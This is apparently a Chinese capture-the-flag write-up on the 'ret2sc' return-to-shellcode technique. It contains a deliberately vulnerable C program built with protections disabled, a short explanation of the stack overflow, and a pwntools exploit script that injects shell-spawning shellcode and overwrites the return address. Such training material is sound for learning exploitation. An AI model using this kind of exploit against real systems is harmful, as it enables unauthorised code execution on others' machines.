ret2sc(Return to Shell Code)
1.题目
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char message[48];
int main()
{
char name[16];
printf("Give me your message: ");
fflush(stdout);
read(0, message, 0x30);
printf("Give me your name: ");
fflush(stdout);
read(0, name, 0x30);
return 0;
}
Makefile:
ret2sc: ret2sc.c
gcc ret2sc.c -fno-stack-protector -no-pie -z execstack -o ret2sc
2.思路
在NX(No eXecute)保护未开启的情况下我们可以在输入时写入shellcode并把返回地址改成shellcode所在的地址,这种攻击方式就叫做Return to shellcode
题目源码中message有48 Bytes可以用来写shellcode,name有16 Bytes,但是read却读入了48 Bytes,所以可以利用buffer overflow来覆盖return address
用objdump查看message的地址:
3.解题脚本
from pwn import *
# r = remote("*.*.*.*",****)
r = process("./ret2sc")
context.arch = 'amd64'
sc = asm(shellcraft.sh())
r.recvuntil(": ")
r.send(sc)
p = b'a'*24+p64(0x404060)
r.recvuntil(": ")
r.send(p)
r.interactive()